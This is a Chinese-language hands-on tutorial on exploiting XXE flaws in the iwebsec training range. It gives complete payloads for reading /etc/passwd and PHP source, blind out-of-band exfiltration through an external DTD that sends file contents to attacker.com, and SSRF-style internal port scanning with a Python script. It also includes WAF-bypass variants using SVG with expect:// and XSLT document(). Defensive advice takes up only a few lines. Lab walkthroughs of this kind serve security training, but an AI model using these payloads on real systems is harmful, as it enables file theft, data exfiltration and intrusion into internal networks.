iwebsec靶场 XXE漏洞实战:3种协议读取文件与内网探测(附完整Payload)
iwebsec靶场XXE漏洞实战:3种协议读取文件与内网探测
在安全测试领域,XXE(XML External Entity)漏洞一直是一个容易被忽视但危害巨大的安全隐患。iwebsec靶场作为国内知名的漏洞演练平台,其XXE漏洞环境设计精巧,非常适合新手从零开始掌握实战技巧。本文将绕过繁琐的理论讲解,直接切入实战操作,手把手教你如何利用file、php、http三种协议实现文件读取,并通过响应时间差异探测内网开放端口。
1. 靶场环境快速搭建与漏洞定位
iwebsec靶场提供多种部署方式,推荐使用Docker快速启动:
docker pull iwebsec/iwebsec docker run -d -p 80:80 --name iwebsec iwebsec/iwebsec访问http://localhost即可进入靶场界面。在漏洞分类中选择"XXE漏洞"模块,我们会看到一个简单的XML数据提交页面:
<form action="/xxe/process.php" method="POST"> <textarea name="data" rows="10" cols="50"></textarea> <input type="submit" value="提交"> </form>使用Burp Suite拦截提交请求,可以看到原始请求格式:
POST /xxe/process.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded data=%3Cuser%3E%3Cname%3Etest%3C%2Fname%3E%3C%2Fuser%3E关键漏洞点在于服务器未对XML外部实体进行过滤,直接解析了用户提交的XML内容。我们可以通过修改Content-Type为application/xml并构造恶意XML实现攻击。
2. 三协议文件读取实战
2.1 file协议读取系统文件
最直接的利用方式是通过file协议读取服务器本地文件。构造如下Payload:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <user> <name>&xxe;</name> </user>关键参数说明:
<!ENTITY xxe SYSTEM "file:///etc/passwd">定义名为xxe的外部实体&xxe;引用该实体内容
成功执行后,服务器响应中将包含/etc/passwd文件内容。对于Windows系统,可尝试读取file:///C:/Windows/win.ini等路径。
2.2 php协议获取源码
当需要读取PHP等脚本文件时,直接使用file协议会导致代码被解析执行。此时应使用php过滤器:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/xxe/process.php"> ]> <user> <name>&xxe;</name> </user>技巧说明:
convert.base64-encode将文件内容以Base64编码输出- 获取到Base64编码后需自行解码还原源码
- 路径需根据实际情况调整,常见Web根目录包括
/var/www/html、/var/www等
2.3 http协议外带数据
当遇到无回显的"盲注"场景时,可通过http协议将数据外带到攻击者控制的服务器:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; ]> <user> <name>test</name> </user>在攻击者服务器(attacker.com)放置evil.dtd文件:
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>"> %eval; %exfil;实战要点:
- 需要具备公网服务器接收数据
- 数据中的特殊字符需进行URL编码
- 可通过DNSLog等平台简化外带过程
3. 内网端口探测技术
XXE的另一大威力在于内网探测。通过响应时间差异,可以判断目标端口是否开放:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "http://192.168.1.1:80"> ]> <user> <name>&xxe;</name> </user>探测逻辑:
- 若目标端口开放,响应通常在1秒内返回
- 若端口关闭,连接会等待超时(通常3-5秒)
- 可批量测试常见端口(22, 80, 443, 3306等)
自动化探测脚本示例:
import requests import time ports = [21, 22, 80, 443, 3306, 3389] target = "192.168.1.1" for port in ports: start = time.time() payload = f"""<?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://{target}:{port}"> ]> <user><name>&xxe;</name></user>""" try: requests.post("http://target.com/xxe", data=payload, timeout=3) except: pass if time.time() - start < 1.5: print(f"[+] Port {port} open")4. 高级绕过与防御对抗
现代WAF通常会检测明显的XXE特征,以下是几种绕过技巧:
1. 编码混淆
<!ENTITY % payload SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">2. 参数实体嵌套
<!DOCTYPE root [ <!ENTITY % param1 "<!ENTITY % param2 SYSTEM 'file:///etc/passwd'>"> %param1; %param2; ]>3. SVG文件伪装
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"> <image xlink:href="expect://id" x="0" y="0" height="200" width="300"/> </svg>防御方面,建议开发人员:
- 禁用外部实体解析
libxml_disable_entity_loader(true);- 使用白名单过滤用户输入的XML内容
- 升级XML解析库到最新版本
5. 实战经验与排错指南
在真实测试过程中,常会遇到以下问题及解决方案:
问题1:返回空白或错误
- 检查XML格式是否正确闭合
- 尝试不同协议(file/http/php)
- 确认文件路径是否存在
问题2:特殊字符导致解析失败
<!ENTITY xxe SYSTEM "http://attacker.com/?data=<![CDATA[敏感内容]]>">问题3:Java环境下的特殊处理Java应用需要额外声明参数实体:
<!DOCTYPE root [ <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; %exfil; ]>问题4:.NET环境限制.NET默认禁用DTD,可尝试:
<?xml version="1.0" encoding="UTF-8" ?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:value-of select="document('file:///etc/passwd')"/> </xsl:template> </xsl:stylesheet>通过iwebsec靶场的系统化练习,配合本文提供的实战Payload,相信你能快速掌握XXE漏洞的挖掘与利用技巧。记住在实际渗透测试中,务必获取合法授权后再进行安全评估